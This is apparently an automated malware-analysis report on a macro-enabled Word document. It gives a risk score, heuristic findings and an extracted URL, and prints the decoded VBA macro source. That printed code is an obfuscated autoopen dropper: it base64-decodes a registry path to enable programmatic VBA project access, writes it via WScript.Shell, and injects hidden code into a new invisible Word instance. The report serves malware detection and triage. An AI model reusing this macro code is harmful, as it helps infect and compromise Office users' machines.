MALICIOUS
130
Risk Score
Heuristics 5
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
tableNamespace.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString procedureTemp -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set leftRemove = CreateObject("msxml2.domdocument") -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub autoopen() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://garrettgenius.com/bijol/72434/c6iX3ldy7Eq9XLicGSEH/Q5DxImz1BYKnlTMmjAL9k2huJIqBoyNbC4tt/5bIpGxMHTf/50797/laka11?search=Y6y5xcvi5wMUHifUXeeJZzzo In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
- http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
- http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
- http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
- http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2905 bytes |
SHA-256: 867f642d79b41d87095c6fe7c6cc93b87990e36b7f7558213d78bbd19c27f427 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{722FA269-DF7B-49D0-8FD5-C51B18E5E74C}{EDBBB4CB-C6F5-4BF1-A490-D972685194C3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "libVarBuffer"
Sub autoopen()
listboxCopy
Dim localVarNamespace As String
localVarNamespace = tableReference
valueProcedure localVarNamespace
End Sub
Attribute VB_Name = "valueMemMemory"
Function classArgument(namespaceClear As String) As Variant
Dim leftRemove As Object
Dim valueStructNext As Object
Set leftRemove = CreateObject("msxml2.domdocument")
Set valueStructNext = leftRemove.createElement("code")
valueStructNext.DataType = "bin.base64"
valueStructNext.Text = namespaceClear
classArgument = valueStructNext.nodeTypedValue
End Function
Function sizeMemory(referenceCaption, vbClass)
sizeMemory = StrConv(referenceCaption, vbClass)
End Function
Attribute VB_Name = "valueViewRequest"
Sub valueProcedure(procedureTemp As String)
Set buttonLocal = CreateObject("word.application")
Set tableNamespace = buttonLocal.Documents.Add
tableNamespace.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString procedureTemp
buttonLocal.Visible = False
buttonLocal.Quit SaveChanges:=wdDoNotSaveChanges
End Sub
Attribute VB_Name = "exceptionNextBuffer"
Function windowResponseSwap() As String
windowResponseSwap = Application.Version
End Function
Function deleteNext()
deleteNext = "U5UX1VTRVJcU29mdHdhcmVcTWlj"
End Function
Function titleIterator()
titleIterator = "cript.sh"
End Function
Function repoFunc()
repoFunc = "VjdXJpdHlcQWN"
End Function
Sub listboxCopy()
funcClearText = sizeMemory(classArgument("SEtFWV9DVVJSR" & deleteNext & "cm9zb2Z0XE9mZmljZVw="), vbUnicode)
listboxData = windowResponseSwap
iteratorGeneric = sizeMemory(classArgument("XFdvcmRcU2" & repoFunc & "jZXNzVkJPTQ=="), vbUnicode)
genericStructListbox = funcClearText & listboxData & iteratorGeneric
With CreateObject("ws" & titleIterator & "ell")
.RegWrite genericStructListbox, 1, "REG_DWORD"
End With
End Sub
Public Function namespaceArrayClear(ByVal bufferGlobalStruct As String) As String
For bufferReference = 1 To Len(bufferGlobalStruct) Step 2
viewFuncArray = Chr$(Val("&H" & Mid$(bufferGlobalStruct, bufferReference, 2)))
listButton = listButton & viewFuncArray
Next bufferReference
namespaceArrayClear = listButton
End Function
Function tableReference()
tableReference = UserForm1.TextBox1
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 27648 bytes |
SHA-256: 1d8d0ba55b6da7740a6164a9428f0465e4098e7f67bc263d6454a32d0d926791 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.